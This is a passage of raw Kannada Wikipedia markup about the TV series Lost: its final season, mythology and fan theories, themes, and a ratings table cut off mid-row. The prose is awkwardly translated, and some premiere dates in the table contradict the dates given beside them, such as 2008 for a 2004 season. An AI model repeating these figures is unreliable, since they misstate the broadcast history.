''ಲಾಸ್ಟ್'' ಸರಣಿಯು ತನ್ನ ಆರನೇ ಸೀಸನ್ನನ್ನು ಮುಕ್ತಾಯ ಮಾಡುತ್ತಿದೆ. ಬರಹಗಾರರ ಮುಷ್ಕರದಿಂದಾಗಿ ನಾಲ್ಕನೇ ಸೀಸನ್ನು 14 ಕಂತುಗಳನ್ನು ಮತ್ತು ಐದನೇ ಸೀಸನ್ನು 17 ಕಂತುಗಳನ್ನು ಹೊಂದಿದೆ. ಆರನೇ ಸೀಸನ್ನಿನಲ್ಲಿಯೂ 17 ಕಂತುಗಳನ್ನು ಹೊಂದಲು ಯೋಜಿಸಲಾಗಿದೆ.<ref name="17ep"/> 18 ಕಂತುಗಳನ್ನು ಮಾಡುವುದಕ್ಕಾಗಿ, ಜೂನ್ 29ರಂದು ಅಂತಿಮ ಸೀಸನ್ನು ಹೆಚ್ಚಿನ ಸಮಯವನ್ನು ಹೊಂದಿರುತ್ತದೆ ಎಂದು ಘೋಷಿಸಲಾಯಿತು.<ref name="blog.zap2it.com"/> ಕಾರ್ಯಕಾರೀ ನಿರ್ಮಾಪಕ ಲಿಂಡೆಲಾಫ್ ಮತ್ತು ಕ್ಯೂಸ್ ಹೇಳಿಕೆಯಂತೆ, ''ಲಾಸ್ಟ್'' ಎಂದಿಗೂ "ಆರಂಭ, ಮಧ್ಯ ಮತ್ತು ಅಂತ್ಯವನ್ನು ಹೊಂದಿರುವ ಸರಣಿಯಾಗಿದೆ" ಮತ್ತು "ತಾವು ಇಚ್ಛಿಸಿದ ಕಥೆಯ ಮುಕ್ತಾಯವನ್ನು ತಿಳಿಯುವ ಸಾಧ್ಯತೆಯನ್ನು ವೀಕ್ಷಕರು ಹೊಂದಿರುತ್ತಾರೆ" ಎಂಬುದನ್ನು ಈ ಹೇಳಿಕೆಯ ಮೂಲಕ ಸಾಬೀತಾಯಿತು.<ref name="Conclusion 2007"/> ಲಿಂಡೆಲಾಫ್ ಮತ್ತು ಕ್ಯೂಸ್ ಹೇಳಿದಂತೆ 2010ರ ಸರಣಿಯ ಅಂತಿಮ ದಿನಗಳು ಮಹತ್ತರವಾದ ಸಮಾನತೆಯನ್ನು ಹೊಂದಿರುತ್ತದೆ ಮತ್ತು ಮರು ಅನ್ವೇಷಣೆಗೆ ಸಹಾಯ ಮಾಡಲಾಗುರುತ್ತದೆ. ಲಿಂಡೆಲಾಫ್ ಸೂಚಿಸಿದಂತೆ "ನಾವು ಹೆಚ್ಚು ದಿನ ಸರಣಿಯನ್ನು ಎಳೆಯುವುದಿಲ್ಲ"<ref name="TV Guide 2008-03"/> ನೈಸರ್ಗಿಕವಾದ [[ರಾಕ್ಷಸ ಹೊಗೆ]], [[ಟಾವರೀಟ್‌]]ನ ನಾಲ್ಕು ಬೆರಳಿನ ಪ್ರತಿಮೆ, ಮೊದಲ ಸರಣಿಯ "[[ಹೌಸ್ ಆಫ್ ದಿ ರೈಸಿಂಗ್ ಸನ್]]" ಕಂತಿನಿಂದ ಆ‍ಯ್‌ಡಮ್ ಮತ್ತು ಈವ್‌ನ ಅಸ್ಥಿಪಂಜರ ಮತ್ತು ಹೊರದೂಡಲ್ಪಟ್ಟ ನಂತರದಲ್ಲಿ ಧರ್ಮಾ ನಿಯಮಿತ ಪುನಹ್ಪೂರಣ ಬಿಂದುವಿನ ನಿರಂತರತೆಯ ಕಾರಣದಂತಹ,<ref>{{cite web |url=http://www.sundaymercury.net/entertainment-news/celebrity-news/2009/06/02/lost-masterminds-carlton-cuse-and-damen-lindelof-dop-hints-about-how-abc-hit-drama-will-end-66331-23767193/ |title=Lost masterminds Carlton Cuse and Damen Lindelof drop hints about how ABC hit drama will end |publisher=[[Sunday Mercury]] |date=June 2, 2009 |accessdate=June 2, 2009}}</ref> ವಿಮಾನದ ಹೊರಲುವಿಕೆಯು ಹೆಚ್ಚು ಕಾಲ ಇರುವ ನಿಗೂಢಗಳನ್ನು ನಿರ್ಮಿಸಲಾಯಿತು.<ref>{{cite web |url=http://www.slashfilm.com/2009/07/25/comic-con-what-we-learned-about-losts-final-season/ |title=Comic Con: What We Learned About Lost’s Final Season |author=Quigley, Adam |date=July 25, 2009 |publisher=[[/Film]] |accessdate=Oct 4, 2009}}</ref> ಅಂತಿಮ ಸೀಸನ್ನಿನ ಸಂದರ್ಶನದಲ್ಲಿ ಮ್ಯಾಥ್ಯೂ ಫಾಕ್ಸ್ ಹೇಳೀದಂತೆ, ಜ್ಯಾಕ್ ಷೆಫರ್ಡ್ ಮತ್ತು ಜಾನ್ ಲಾಕ್ "ಮುಖ್ಯಸ್ಥರಿಗೂ ಮುಖ್ಯರಾಗಲಿದ್ದಾರೆ" ಅಂತಿಮ ಸೀಸನ್ನಿನ ಮೂರನೇ ದಾರಿಯಲ್ಲಿ, ಎರಡು ಸಮಯದ ಕಥಾನಕಗಳು "ಒಂದರಲ್ಲೇ ಸಮೂಹಗೊಳ್ಳಲಿದೆ" ಮತ್ತು "ಹೆಚ್ಚಿನ ಫ್ಲ್ಯಾಷ್‌ಬ್ಯಾಕ್‌ಗಳಿಲ್ಲದೇ ನೇರವಾಗಿರುತ್ತದೆ".<ref>{{cite web |url=http://www.eonline.com/uberblog/watch_with_kristin/b128606_matthew_fox_tells_us_how_lost_ends_how.html |title=Matthew Fox Tells Us How ''Lost'' Ends (and How Season Six Begins) |author=Abdolian, Lisa |publisher=[[E!]] |date=June 10, 2009 |accessdate=August 17, 2009}}</ref> ಸರಣಿಯ ಅಂತ್ಯವನ್ನು ಕೇವಲ ಪಾತ್ರದ ಸದಸ್ಯರು ಮಾತ್ರ ಅರಿತಿರುತ್ತಾರೆ ಎಂದು ಅವರು ಹೇಳುತ್ತಾರೆ.<ref>{{cite web|url=http://www.digitalspy.co.uk/cult/a96650/matthew-fox-keeps-quiet-on-lost-ending.html?rss|title=Matthew Fox keeps quiet on 'Lost' ending|publisher=Digital Spy|author=Ben Rawson-Jones|date=May 29, 2008|accessdate=November 11, 2008}}</ref> ಕ್ಯೂಸ್ ಹೇಳುವಂತೆ ಎರಡೂ ಸಮಯದ ಕಥಾದಾರಿಗಳು ಮತ್ತು ಫ್ಲ್ಯಾಷ್-ಫಾರ್ವರ್ಡ್ ಸೀಸನ್ನುಗಳು ಮುಗಿದಿವೆ ಮತ್ತು ಆರನೇ ಸೀಸನ್ನಿಗಾಗಿ ಸ್ವಲ್ಪ ವಿಭಿನ್ನವಾಗಿ ಚಲಿಸುತ್ತಿವೆ.<ref name="ecomiccon">[http://www.eonline.com/uberblog/watch_with_kristin/b135013_everything_you_need_know_from_lost.html?sid=twitterfeed_topstories&amp;utm_source=eonline&amp;utm_medium=twitterfeed&amp;utm_campaign=twitterfeed_topstories ಎವೆರಿಥಿಂಗ್ ಯು ನೀಡ್ ಟು ನೋ ಫ್ರಂ ದಿ ಲಾಸ್ಟ್ ಇವೆಂಟ್ಸ್ ಅಟ್ ಕಾಮಿಕ್-ಕಾನ್]</ref> == ಪುರಾಣ ಶಾಸ್ತ್ರ == {{Main|Mythology of Lost}} ಇದರ ಪಾತ್ರಧಾರಿಗಳ ಪರ್ಯಾಯ ಬೆಳವಣಿಗೆಯಲ್ಲಿ, [[ವೈಜ್ಞಾನಿಕ ಕಾದಂಬರಿಗ]]ಳು ಮತ್ತು ಅತಿ ನೈಸರ್ಗಿಕ ವಿದ್ಯಮಾನಗಳನ್ನು ಅವಲಂಬಿಸಿದ ಅನೇಕ ನಿಗೂಢವಾದ ವಿಚಾರಗಳನ್ನು ''ಲಾಸ್ಟ್'' ಕಂತುಗಳು ಹೊಂದಿತ್ತು. ಸರಣಿಯ [[ಪುರಾಣಶಾಸ್ತ್ರ]]ವನ್ನಾಗಿ ಈ ವಿಚಾರಗಳನ್ನು ಸರಣಿಯ ಸೃಷ್ಟಿಕರ್ತರು ಅನ್ವಯಿಸಿದರು ಮತ್ತು ಫ್ಯಾನ್ ಸ್ಪೆಕ್ಯುಲೇಶನ್ನ ಆಧಾರದ ಮೇಲೆ ನಿರ್ಮಿಸಲಾಯಿತು.<ref>ಬೆನ್ಸನ್, ಜಿಂ. [http://www.broadcastingcable.com/article/CA601539.html "ದಿ ''ಲಾಸ್ಟ್'' ಜೆನರೇಶನ್: ನೆಟ್‌ವರ್ಕ್ಸ್ ಗೇ ಏರೀ."] ''[[ಬ್ರಾಡ್‌ಕಾಸ್ಟಿಂಗ್ &amp; ಕೇಬಲ್]]'' , ಮೇ 16, 2005.</ref> ಪ್ರದರ್ಶನ ಅಭಿಪ್ರಾಯದಲ್ಲಿ, ದ್ವೀಪದಲ್ಲಿ ತಿರುಗಾಡುವ ಪುರಾಣಶಾಸ್ತ್ರದ ವಿಚಾರಗಳು [["ಮಾನ್ಸ್ಟರ್"]] ಆಗಿರುತ್ತದೆ. ಪಾರಾಗಿ ಉಳಿದಿರುವ ಜೀವಿಗಳು "ದಿ ಅದರ್ಸ್" ಎಂದು ನಿರ್ದೇಶಿಸಿರುವ ಇವುಗಳು ಒಂದು ನಿಗೂಢ ಜೀವಿಗಳ ಗುಂಪಾಗಿದೆ. [[ಧರ್ಮಾ ಇನಿಶಿಯೇಟಿವ್]] ಎಂದು ಕರೆಯಲ್ಪಟ್ತ ಸಂಸ್ಥೆಯು ಕೆಲವು [[ಸಂಶೋಧನಾ ಸಂಸ್ಥೆಗಳನ್ನು]] ದ್ವೀಪದಾದ್ಯಂತ ಸ್ಥಾಪಿಸಿದೆ. ಹಲವು ಕಥಾತಿರುವುಗಳು ಪಾತ್ರದ್ಕಾರಿಗಳ ಜೀವನದ ಭೂತ ವರ್ತಮಾನ ಮತ್ತು ಭವಿಷ್ಯದಲ್ಲಿ ಆಗಾಗ ಕಾಣಿಸಿಕೊಳ್ಳುತ್ತಿರುತ್ತವೆ. ಪರಿಚಯವಿಲ್ಲದ ಪಾತ್ರಗಳ ಜೊತೆ ವೈಯಕ್ತಿಕ ಸಂಬಂಧ ಅಥವಾ ಪರಸ್ಪರ ಬೆರೆಯುವಿಕೆ ನಡೆಯುತ್ತದೆ. ಸರಣಿಯ ಅಂತರ್ಯದಲ್ಲಿ ಸಂಕೀರ್ಣವಾದ ಮತ್ತು ಹಲವಾರು ಸಂಶಯಗಳನ್ನು ಬಿತ್ತುವ ರಹಸ್ಯವಾದ ತೀರ್ಮಾನಿಸಲಾಗದ ಪ್ರಶ್ನೆಗಳನ್ನು ಹೊಂದಿದೆ.<ref> {{cite web |url=http://tv.ign.com/articles/745/745595p1.html |title=IGN's Top 50 ''Lost'' Loose Ends: Page 1 |publisher=IGN.com|date=2006-11-13}}</ref> ನಿಗೂಢಗಳನ್ನು ಬಿಡಿಸಲು ಓನ್‌ಲೈನ್ ಅಭಿಮಾನಿಗಳೊಂದಿಗೆ, ವೀಕ್ಷಕರೊಂದಿಗೆ ಮತ್ತು ಟಿವಿ ವಿಮರ್ಶಕರೊಂದಿಗೆ ಸಂವನ ಮಾಡುವುದರಿಂದ ಕೂಡಾ ''ಲಾಸ್ಟ್‌ನ ಬ'''ರಹಗಾರರಿಗೆ ಮತ್ತು ತಾರೆಗಳಿಗೆ ಸ್ಪುರ್ಥಿಯಾಗಿದೆ''' '' . ದ್ವೀಪದ ನೈಸರ್ಗಿಕತೆ, ಮಾನ್‌ಸ್ಟರ್ ಮತ್ತು "ಅದರ್ಸ್"ನ ಮೂಲ, ಸಂಖ್ಯೆಗಳ ಅರ್ಥ ಮತ್ತು ಅಪಘಾತ ಮತ್ತು ಕೆಲವು ಪ್ರಯಾಣಿಕರ ಸಂಕಷ್ಟಗಳಿಗೆ ಕಾರಣಗಳನ್ನು ಮುಖ್ಯ ಕಾಳಜಿಯಾಗಿ ಹೊಂದಿದೆ.{{Citation needed|date=October 2008}} ಓಶಿಯಾನಿಕ್ ಫ್ಲೈಟ್ 815ರ ಪ್ರಯಾಣಿಕರು ಸತ್ತಿರುವ ಅಥವಾ [[ಶೋಧನಾ]] ಕಾರ್ಯಗಳಂತಹ ತೀರಾ ಸಾಮಾನ್ಯ ಅಂಶಗಳ ಅಭಿಮಾನಿಗಳ ಸಿದ್ಧಾಂತಗಳು ಸರಣಿಯ ನಿರ್ಮಾತೃಗಳಿಂದ ಚರ್ಚಿಸಲಾಯಿತು ಮತ್ತು ತಿರಸ್ಕರಿಸಲಾಯಿತು ಜೆ.ಜೆ.ಅಬ್ರಮ್ಸ್‌ರಿಂದ ಇದು ನಿರ್ಣಯಿಸಲ್ಪಡುತ್ತಿತ್ತು.<ref>{{cite news|last=Fienberg |first=Daniel|title=''Lost'' Team Discusses Upcoming Death and Mysteries|url=http://tv.zap2it.com/tveditorial/tve_main/1,1002,271%7C94107%7C1%7C,00.html|publisher=Zap2It.com|date=2005-03-14}}</ref> ದ್ವೀಪದಲ್ಲಿ ಘಟನೆಗಳಿಗೆ [[ಗಗನನೌಕೆ]] ಅಥವಾ [[ಅನ್ಯಗ್ರಹಜೀವಿಗಳ]] ಪ್ರಭಾವದ ವಿಚಾರವನ್ನು ಅಥವಾ ವೀಕ್ಷಕರ ಭಾವದಲ್ಲಿ ಕಾದಂಬರಿಯ ನೈಜತೆಯು ಸ್ಥಾನ ಪಡೆಯುವುದನ್ನು ಲಿಂಡಾಲ್ಫ್ ತಿರಸ್ಕಿರಿಸಿದರು. ದ್ವೀಪವು [[ರಿಯಾಲಿಟಿ ಟಿವಿ]] ಪ್ರದರ್ಶನವಾಗಿದೆ ಮತ್ತು ಅಸಾಂದರ್ಭಿಕವಾಗಿ ಅಪಘಾತಕ್ಕೀಡಾದ ಹಡಗು ಅಥವಾ ವಿಮಾನಗಳಿಂದ ಪಾರಾಗಿ ಉಳಿದ ಜೀವಿಗಳು ಸಹಕುಟುಂಬಿಕರಾಗುವ ಸಿದ್ಧಾಂತವನ್ನು ಕಾರ್ಲ್‌ಟನ್ ಕ್ಯೂಸ್ ತಿರಸ್ಕಿರಿಸಿದರು<ref>{{cite news|last=Idato |first=Michael |title=Asking for trouble|url=http://www.smh.com.au/news/tv--radio/asking-for-trouble/2005/08/20/1124435180515.html|publisher=Sydney Morning Herald|date=2005-08-22}}</ref> ಮತ್ತು ಮಾನ್‌ಸ್ಟರ್ ಒಂದು [[ನ್ಯಾನೋಬೋಟ್]] ಎಂಬ ಸಿದ್ಧಾಂತವು [[ಮೈಕೆಲ್ ಕ್ರಿಚ್ಟನ್‌ರ]] '''[[ಪ್ರೇ]]''' ಕಾದಂಬರಿಯ ಅಂಶಗಳಿಗೆ ಮೈಕೆಲ್ ಕ್ರಿಚ್ಟನ್‌ರ ಪ್ರೇ ಕಾದಂಬರಿಯ ಅಂಶಗಳಿಗೆ ಹತ್ತಿರವಾಗಿರುವದನ್ನು ಲಿಂಡೆಲಾಫ್ ಹಲವು ಬಾರಿ ವಾದಿಸಿದರು.''' '' '''' <ref>{{cite news|last=Wharton|first=David Michael|title=Comicon 2005 news|url=http://www2.cinescape.com/0/editorial.asp?aff_id=0&this_cat=Comics&action=page&obj_id=49194|publisher=Cinescape.com|date=2005-07-17|access-date=2009-12-17|archive-date=2010-02-05|archive-url=https://web.archive.org/web/20100205014750/http://www2.cinescape.com/0/editorial.asp?aff_id=0&this_cat=Comics&action=page&obj_id=49194|url-status=dead}}</ref>''''' ಸೂಕ್ತ ಸಮಯ ಸಾರಿಗೆಯ ಒಳಗೊಳ್ಳುವಿಕೆ, ಸರಣಿಯಲ್ಲಿ ಹೆಚ್ಚು ಅಸಂಘಟಿತವಾಗಿರುವುದಕ್ಕೆ ಸೂಕ್ತವಲ್ಲದ ನಡವಳಿಕೆಯನ್ನು ನಿಷೇಧಿಸಲಾಗಿರುವದು; ಇವುಗಳು ಈ ಹಿಂದೆ ಹಿಂಪಡೆದುಕೊಳ್ಳಲಾದ ಸಿದ್ಧಾಂತವಾಗಿದ್ದು,<ref>{{cite news|last= |first|title= ''Lost'' Answers Are Out There |url=http://www.scifi.com/scifiwire/handheld/30246.html|publisher=SciFi.com|date=2005-01-24}}</ref> ಇನ್ನಿತರ ಹಿಂಪಡೆದುಕೊಳ್ಳಲಾಗಿದ್ದ ಸಿದ್ಧಾಂತಗಳೂ ನಡೆಸಲ್ಪಡುತ್ತಿರಬಹುದು. == ಹಿಂಪಡೆಯುವ ವಿಚಾರಗಳು == [[ಚಿತ್ರ:Pilot2backgammon.jpg|right|thumb| ಪೈಲಟ್ ಕಂತಿನಲ್ಲಿ ಜಾನ್ ಲಾಕ್ ಬ್ಯಾಕ್‌ಗಮನ್ ಕಲ್ಲಿನ ಎರಡು ವಿರುದ್ಧ ಬಣ್ಣಗಳನ್ನು ಹೊಂದಿದ್ದರು.]] ಸೈದ್ಧಾಂತಿಕ [[ಉಪ ಹಿನ್ನೆಲೆ]] ಮತ್ತು ಸಾಹಿತ್ಯಿಕವಾಗಿ ಸರಣಿಯ ಗಾತ್ರವನ್ನು ಹೆಚ್ಚಿಸಿಯೂ ಕಥೆಗೆ ಯಾವ ನೇರ ಪರಿಣಾಮವನ್ನೂ ಉಂಟುಮಾಡದ ಹಲವಾರು ಮರು ದೃಶ್ಯಗಳು ಮತ್ತು [[ಮುಖ್ಯ ಉದ್ದೇಶಗಳನ್ನು]] ''ಲಾಸ್ಟ್'' ಸರಣಿಯು ಹೊಂದಿದೆ. ಸನ್ನಿವೇಶಗಳ ಮತ್ತು ಪಾತ್ರಗಳ ಮಧ್ಯೆ [[ದ್ವಂದ್ವ]]ಗಳನ್ನು ಪ್ರತಿಬಿಂಬಿಸುವ ಬಿಳಿ ಮತ್ತು ಕಪ್ಪು ಬಣ್ಣಗಳಲ್ಲಿ ಈ ವಿಚಾರಗಳು ಪದೇ ಪದೇ ಸೇರಿ ಕಾಣಿಸಿಕೊಳ್ಳುತ್ತವೆ. ವಿಶೇಷವಾಗಿ ಕೇಟ್ ಪಾತ್ರವನ್ನೂ ಒಳಗೊಂಡು ಎಲ್ಲ ಪಾತ್ರಗಳೂ ದ್ರೋಹ ಬಗೆಯುತ್ತವೆ. ಸುಮಾರು ಎಲ್ಲ ಮುಖ್ಯ ಪಾತ್ರಗಳ (ವಿಶೇಷವಾಗಿ ಒಂದೇ ಮೂಲದಲ್ಲಿ ಸುತ್ತುತ್ತಿರುವ ಹಲವು ಪಾತ್ರಗಳಲ್ಲಿ) [[ಕೌಟುಂಬಿಕ ಸನ್ನಿವೇಶಗಳು ಅಸಮತೋಲನ]]ವಾಗಿರುತ್ತದೆ.<ref>{{cite web|url=http://uk.tv.ign.com/articles/745/745595p4.html|title=IGN's Top 50 ''Lost'' Loose Ends: Page 4|publisher=IGN.com|date=2006-11-13|access-date=2009-12-17|archive-date=2012-05-09|archive-url=https://web.archive.org/web/20120509214406/http://uk.tv.ign.com/articles/745/745595p4.html|url-status=dead}}</ref> ಅಪೋಕೆಲಿಪ್ಟ್‌ನ ಆಧಾರದಲ್ಲಿ, ಜಗತ್ತಿನ ಅಂತ್ಯದ ಪೂರ್ವ ಕಾರ್ಯಾರಂಭಕ್ಕೆ ಡೆಸ್ಮಂಡ್‌ರ ಗುಂಡಿ ಒತ್ತುವಿಕೆ ಮತ್ತು ಧರ್ಮಾ ಇನಿಶಿಯೇಟಿವ್‌ನ ಗುರಿಯಾದ [[wikia:Lostpedia:Valenzetti Equation|ವ್ಯಾಲಂಝೈಟಿ ಈಕ್ವೇಷನ್‌]]ನ ಮಾನದಂಡವನ್ನು ಬದಲಾಯಿಸುವಿಕೆ ಹಾಗೂ ಮಾನವರ ಅಂತ್ಯವನ್ನು ತಪ್ಪಿಸುವದನ್ನೂ ಒಳಗೊಂಡಿದೆ.<ref>ಲಿಂಡೆಲಾಫ್, ಡಮನ್ ಅಂಡ್ ಕಾರ್ಲ್‌ಟನ್ ಕ್ಯೂಸ್. [http://www.buddytv.com/articles/lost/buddytv-interviews-losts-damon-4766.aspx "ಬಡ್ಡೀ ಟಿವಿ ಇಂಟರ್ವ್ಯೂಸ್ ''ಲಾಸ್ಟ್ಸ್'' ಡಮನ್ ಲೀಂಡೆಲಾಫ್ ಅಂಡ್ ಕಾರ್ಲ್‌ಟನ್ ಕ್ಯೂಸ್ - ಅಂಡ್ ಗೆಟ್ಸ್ ಆನ್ಸ್ವರ್ಸ್!"] {{Webarchive|url=https://web.archive.org/web/20110716100510/http://www.buddytv.com/articles/lost/buddytv-interviews-losts-damon-4766.aspx |date=2011-07-16 }} ಬುಡ್ಡೀಟಿವಿ.ಕಾಂ, ಮಾರ್ಚ್ 7, 2007.</ref> ನಂಬಿಕೆಯ ಅಥವಾ ಆಕಸ್ಮಿಕದ ಹಿನ್ನೆಲೆಯಲ್ಲಿ, ಲಾಕ್ ಮತ್ತು ಮಿ.ಎಕೋ ಪಾತ್ರಗಳಿಗೆ ಹತ್ತಿರದಲ್ಲಿ ಬಿಚ್ಚಿಕೊಳ್ಳುವ ಸೂಕ್ತ ಪ್ರಧಾನ ಪಾತ್ರಗಳು;<ref>ಲಿಂಡೆಲಾಫ್, ಡಮನ್, ಕಾರ್ಲ್ ಕ್ಯೂಸ್, [[ಜ್ಯಾಕ್ ಬೆಂಡರ್]] ಅಂಡ್ ಬ್ರಿಯಾನ್ ಬರ್ಕ್. "[[ಮ್ಯಾನ್ ಆಫ್ ಸೈನ್ಸ್, ಮ್ಯಾನ್ ಅಫ್ ಫೇತ್]]." ''[[ಲಾಸ್ಟ್: ದಿ ಕಂಪ್ಲೀಟ್ ಸೆಕೆಂಡ್ ಸೀಸನ್, ಬ್ಯುನಾ ವಿಸ್ಟಾ ಹೋಮ್]]'' ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್. ಸಪ್ಟೆಂಬರ್ 29, 2006 [[ಆಡಿಯೋ ಕಾಮೆಂಟರಿ]], ಡಿಸ್ಕ್ 1.</ref> ವಿಜ್ಞಾನ ಮತ್ತು ನಂಬಿಕೆಗಳ ಮಧ್ಯದ ಘರ್ಷಣೆ, ಜಾಕ್ ಮತ್ತು ಲಾಕ್ ಮಧ್ಯೆ ನಾಯಕತ್ವಕ್ಕಾಗಿ ನಡೆಯುವ ಗೂಳಿ ಕಾಳಗದ ಪ್ರದರ್ಶನ ಮತ್ತು ಅನೇಕ [[ಸಾಹಿತ್ಯ]]ದ ಆಧಾರ ಹಾಗೂ ನಿರ್ದಿಷ್ಟ ಕಾದಂಬರಿಯನ್ನು ಹೆಸರಿಸಿದ ಚರ್ಚೆಗಳನ್ನು ಒಳಗೊಂಡಿವೆ.<ref name="USAToday10042005">{{cite news|last=Oldenburg|first=Ann|title=Is ''Lost'' a literal enigma?| url=http://www.usatoday.com/life/television/news/2005-10-04-lost-literature_x.htm| publisher=''USA Today''|date=October 4, 2005}}</ref> ಪ್ರಖ್ಯಾತ ಇತಿಹಾಸತಜ್ಞರ ಮತ್ತು ಲೇಖಕರ ಹೆಸರುಗಳನ್ನು ಪರೋಕ್ಷ ಸಂಬಂಧವನ್ನು ಹೊಂದಿದೆ. ಅವುಗಳೆಂದರೆ: ಜಾನ್ ಲಾಕ್ ([[ತತ್ವಜ್ಞಾನಿ]]ಯ ನಂತರ), ಮತ್ತು ಇವನ ಅಡ್ಡಹೆಸರಾದ [[ಜೆರೆಮಿ ಬೆಂಥಮ್]]([[ತತ್ವಜ್ಞಾನಿ]]ಯ ನಂತರ), [[ಡನಿಯಲ್ ರೊಸ್ಸೋಯೀ]]([[ಜೀನ್ ಜೇಕ್ಸ್ ರಸ್ಸೋಯೀ]] ತತ್ವಜ್ಞಾನಿಯ ನಂತರ), ಡೆಸ್ಮಂಡ್ ಹ್ಯೂಮ್ ([[ಡೇವಿಡ್ ಹ್ಯೂಮ್]] ತತ್ವಜ್ಞಾನಿಯ ನಂತರ), ಜೂಲಿಯೆಟ್ ಬುರ್ಕೆ ([[ಎಡ್ಮಂಡ್ ಬುರ್ಕೆ]] ತತ್ವಜ್ಞಾನಿಯ ನಂತರ), [[ಮಿಖೈಲ್ ಬಕುನಿನ್]] ([[ರಾಜಕೀಯ ತತ್ವಜ್ಞಾನಿ]]ಯ ನಂತರ), ಡೇನಿಯಲ್ ಫರಾಡೆ([[ಮೈಕೆಲ್ ಫರಾಡೆ]] ಎಂಬ ಭೌತವಿಜ್ಞಾನಿಯ ನಂತರ), ಎಲೋಯ್ಸ್ ಹಾಕಿಂಗ್ (ಭೌತಶಾಸ್ತ್ರಜ್ಞ [[ಸ್ಟೀಫನ್ ಹಾಕಿಂಗ್‌]] ನಂತರ) ಜಾರ್ಜ್ ಮಿಂಕೋವ್ಸ್ಕಿ (ಗಣಿತಶಾಸ್ತ್ರಜ್ಞ [[ಹರ್ಮನ್ ಮಿಂಕೋವ್ಸ್ಕಿ]]ಯ ನಂತರ), [[ರಿಚರ್ಡ್ ಅಲ್ಪೆರ್ಟ್]](ಆಧ್ಯಾತ್ಮಿಕ ಗುರು [[ರಾಮ ದಾಸ]]ರ ಜನ್ಮ ನಾಮ) ಮತ್ತು [[ಚಾರ್ಲೆಟ್ ಸ್ಟೇಪಲ್ಸ್ ಲೂಯಿಸ್]] (ಲೇಖಕ [[ಸಿ.ಎಸ್.ಲೂಯಿಸ್]] ನಂತರ)<ref name="DH110905">{{cite news|last=Franklin|first=Garth|title=Paul Dini Gives ''Lost'' Spoilers|publisher=DarkHorizons.com|url=http://www.darkhorizons.com/news04/041109d.php|date=2005-11-09|access-date=2009-12-17|archive-date=2008-08-28|archive-url=https://web.archive.org/web/20080828174257/http://www.darkhorizons.com/news04/041109d.php|url-status=dead}}</ref> == ಪ್ರಭಾವ == === ಜನಪ್ರಿಯತೆಯ ಅಂದಾಜು (ರೇಟಿಂಗ್ಸ್‌‌) === ಎಬಿಸಿಯಲ್ಲಿ ''ಲಾಸ್ಟ್‌'' ನ ಸೀಸನ್ನಿನ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ದರ್ಜೆಗಳು ([[ಪುನರ್ ಪ್ರಸಾರ]]ವನ್ನೂ ಸೇರಿಸಿ ಪ್ರತೀ ಕಂತಿನ ಸರಾಸರೀ ಒಟ್ಟೂ ವೀಕ್ಷಕರ ಮಾನದಂಡ ಆಧಾರದ ಮೇಲೆ) {| style="text-align:center" class="wikitable" |- ! ಸೀಸನ್ ! ಸಮಯ ಸ್ಥಾನ (EDT) ! ಸೀಸನ್ನಿನ ಪ್ರಥಮಪ್ರದರ್ಶನ ! ಸೀಸನ್ನಿನ ಮುಕ್ತಾಯ ! TV ಸೀಸನ್ ! ಶ್ರೇಣಿ ! ವೀಕ್ಷಕರು<br />(ದಶಲಕ್ಷಗಳಲ್ಲಿ) |- ! '''[[1]]''' | style="text-align:left"| <small>ಬುಧವಾರ 8:00 P.M.(</small><small>ಸೆಪ್ಟೆಂಬರ್ 22, 2004–ಮೇ 25, 2005)</small> | ಸೆಪ್ಟೆಂಬರ್‌ 22, 2008 | ಮೇ 25, 2005 | 2004–2005 | '''#15''' | '''15.69''' <ref>{{cite web |url=http://abcmedianet.com/web/dnr/dispDNR.aspx?id=062105_06 |title= Season Program Rankings from 09/20/04 through 05/19/05 |publisher=[[American Broadcasting Company|ABC]] Medianet |date=June 21, 2005 |accessdate=February 3, 2009}}</ref> |- ! '''[[2]]''' | style="text-align:left"| <small>ಬುಧವಾರ 9:00 P.M.(</small><small>ಸಪ್ಟೆಂಬರ್ 21, 2005–ಮೇ 24, 2006)</small> | ಸೆಪ್ಟೆಂಬರ್ 21, 2009 | ಮೇ 6, 2006 | 2005-2006 | '''#15''' | '''15.50''' <ref>{{cite web |url=http://abcmedianet.com/web/dnr/dispDNR.aspx?id=053106_05 |title= Season Program Rankings from 09/15/05 through 05/31/06 |publisher=[[American Broadcasting Company|ABC]] Medianet |date=May 31, 2006 |accessdate=February 3, 2009}}</ref> |- ! '''[[3]]''' | style="text-align:left"| <small>ಬುಧವಾರ 9:00 P.M. (</small><small>ಅಕ್ಟೋಬರ್ 4, 2006–ನವೆಂಬರ್ 8, 2006)</small><br /><small>ಬುಧವಾರ 10:00 P.M. (</small><small>ಫೆಬ್ರುವರಿ 7, 2007–ಮೇ 23, 2007)</small> | ಅಕ್ಟೋಬರ್ 14, 2006 | ಮೇ 16, 2007. | 2006–2007 | '''#14''' | '''15.05''' <ref>{{cite web |url=http://abcmedianet.com/web/dnr/dispDNR.aspx?id=061207_04 |title= Season Program Rankings from 09/18/06 through 06/10/07 |publisher=[[American Broadcasting Company|ABC]] Medianet |date=June 12, 2007 |accessdate=February 3, 2009}}</ref> |- ! '''[[4]]''' | style="text-align:left"| <small>ಗುರುವಾರ 9:00 P.M. (</small><small>ಜನವರಿ 31, 2008–ಮಾರ್ಚ್ 20, 2008)</small><br /><small>ಗುರುವಾರ 10:00 P.M. (</small><small>ಏಪ್ರಿಲ್ 24, 2008–ಮೇ 29, 2008)</small> | ಜನವರಿ 5, 2008 | ಮೇ 19, 2008 | 2008 | '''#17''' | '''13.40''' <ref>{{cite web|publisher=[[American Broadcasting Company|ABC]] Medianet|date=June 17, 2008|url=http://abcmedianet.com/web/dnr/dispDNR.aspx?id=061708_07|title= Season Program Rankings from 09/24/07 through 06/15/08|accessdate=February 3, 2009}}</ref> |- ! '''[[5]]''' | style="text-align:left"| <small>ಬುಧವಾರ 9:00 P.M. (</small><small>ಜನವರಿ 21, 2009–ಮೇ 13, 2009)</small> | ಜನವರಿ 12, 2009 | ಮೇ 11, 2009 | 2009 | '''#28''' | '''11.05''' <ref>{{cite web |url=http://www.abcmedianet.com/web/dnr/dispDNR.aspx?id=052709_07 |title= Season Program Rankings from 09/22/08 through 05/27/09 |publisher=[[American Broadcasting Company|ABC]] Medianet |date=May 27, 2009 |accessdate=September 14, 2009}}</ref> |- ! '''[[6]]''' | style="text-align:left"| <small>ಬುಧವಾರ '''ಟಿಬಿಎ''' </small> | ಜನವರಿ 